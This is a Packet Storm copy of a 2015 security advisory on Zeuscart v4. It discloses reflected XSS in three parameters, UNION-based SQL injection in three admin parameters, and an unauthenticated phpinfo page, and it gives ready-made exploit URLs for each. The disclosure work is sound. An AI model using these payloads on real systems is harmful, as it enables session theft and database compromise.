exploit the possibilities

Zeuscart 4 Cross Site Scripting / SQL Injection

Zeuscart 4 Cross Site Scripting / SQL Injection
Posted Feb 23, 2015
Authored by Steffen Roesemann

Zeuscart version 4 suffers from cross site scripting and remote SQL injection vulnerabilities.

tags | exploit, remote, vulnerability, xss, sql injection
MD5 | 91b4447fe717a996b09b2b2a7f97af20

Zeuscart 4 Cross Site Scripting / SQL Injection

Change Mirror Download
Advisory: Multiple reflecting XSS-, SQLi and
InformationDisclosure-vulnerabilities in Zeuscart v.4
Advisory ID: SROEADV-2015-12
Author: Steffen Rösemann
Affected Software: Zeuscart v.4
Vendor URL: http://zeuscart.com/
Vendor Status: pending
CVE-ID: will asked to be assigned after release on FullDisclosure via
OSS-list
Software used for research: Mac OS X 10.10, Firefox 35.0.1

==========================
Vulnerability Description:
==========================

ECommerce-Shopping Cart Zeuscart v. 4 suffers from multiple XSS-, SQLi- and
InformationDisclosure-vulnerabilities.

==================
Technical Details:
==================

====
XSS
===

Reflecting XSS-vulnerabilities can be found in a common
Zeuscart-installation in the following locations and could be exploited for
example by crafting a link and make a registered user click on that link.

The parameter "search", which is used in the index.php is vulnerable to
XSS-attacks.

Exploit-Example:

http://
{TARGET}/index.php?do=search&search=%22%3E%3Cbody%20onload=eval%28alert%28document.cookie%29%29%20%3E%3C!--

By appending arbitrary HTML- and/or JavaScript-code to the parameter
"schltr" which is as well used in index.php, an attacker could exploit this
XSS-vulnerable parameter:

Exploit-Example:

http://
{TARGET}/index.php?do=brands&schltr=All%3Cbody%20onload=eval%28alert%28String.fromCharCode%2888,83,83%29%29%29%20%3E

The third XSS-vulnerability can be found in the "brand"-parameter, which is
again used in index.php.

Exploit-Example:

http://
{TARGET}/index.php?do=viewbrands&brand=Bata%3Cbody%20onload=eval%28alert%28String.fromCharCode%2888,83,83%29%29%29%20%3E

====
SQLi
====

The SQL injection-vulnerabilities can be found in the administrative
backend of Zeuscart v. 4 and reside in the following locations in a common
installation.

By appending arbitrary SQL statements to the "id"-parameter, an attacker
could exploit this SQL injection vulnerability:

Exploit-Example:

http://
{TARGET}/admin/?do=disporders&action=detail&id=1+and+1=2+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,database%28%29,34,35,version%28%29,37,38+--+

Another SQL injection vulnerability can be found here and can be exploited
by appending SQL statements to the vulnerable "cid"-parameter:

Exploit-Example:

http://
{TARGET}/admin/?do=editcurrency&cid=1+and+1=2+union+select+1,database%28%29,3,version%28%29,5+--+

The last SQL injection vulnerability I found can be found in the following
location and can be exploited by appending SQL statements to the vulnerable
"id" parameter:

http://
{TARGET}/admin/?do=subadminmgt&action=edit&id=1+and+1=2+union+select+1,version%28%29,3,database%28%29,5+--+

==============
Information Disclosure
==============

The administrative backend of Zeuscart v. 4 allows the admin to use a
functionality, which displays the PHP-installation settings via phpinfo():

http://{TARGET}/admin/?do=getphpinfo

Unfortunately, the PHP-script does not check, if an authorized admin
executes this functionality: It is possible even for unregistered users to
request the above link to see the informations, phpinfo() displays. That
could expose sensitive informations to an attacker which could lead to
further exploitation.



=========
Solution:
=========

Vendor has been notified. After releasing a patch, which seems not to
correct the issues, the vendor decided not to respond anymore to figure out
a solution together. Currently, there is no patch available to secure
Zeuscart-installations.


====================
Disclosure Timeline:
====================
21-Jan-2015 – found the vulnerabilities
21-Jan-2015 - informed the developers (see [3])
21-Jan-2015 – release date of this security advisory [without technical
details]
21-Jan-2015 – fork of the repository to keep the vulnerable version
available for other researchers (see [5])
22-Jan-2015 - vendor responded, provided detailed information
04-Feb-2015 - vendor patches Bin/Core/Assembler.php; vulnerabilities are
still exploitable, which has been reported to the vendor (see [3])
19-Feb-2015 - asked the vendor again, if he will patch these issues (see
[3]); vendor did not respond
21-Feb-2015 - release date of this security advisory
21-Feb-2015 - send to FullDisclosure


========
Credits:
========

Vulnerabilities found and advisory written by Steffen Rösemann.

===========
References:
===========

[1] http://zeuscart.com/
[2] https://github.com/ZeusCart/zeuscart
[3] https://github.com/ZeusCart/zeuscart/issues/28
[4] http://sroesemann.blogspot.de/2015/01/sroeadv-2015-12.html
[5] https://github.com/sroesemann/zeuscart


Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

December 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    1 Files
  • 2
    Dec 2nd
    16 Files
  • 3
    Dec 3rd
    17 Files
  • 4
    Dec 4th
    23 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close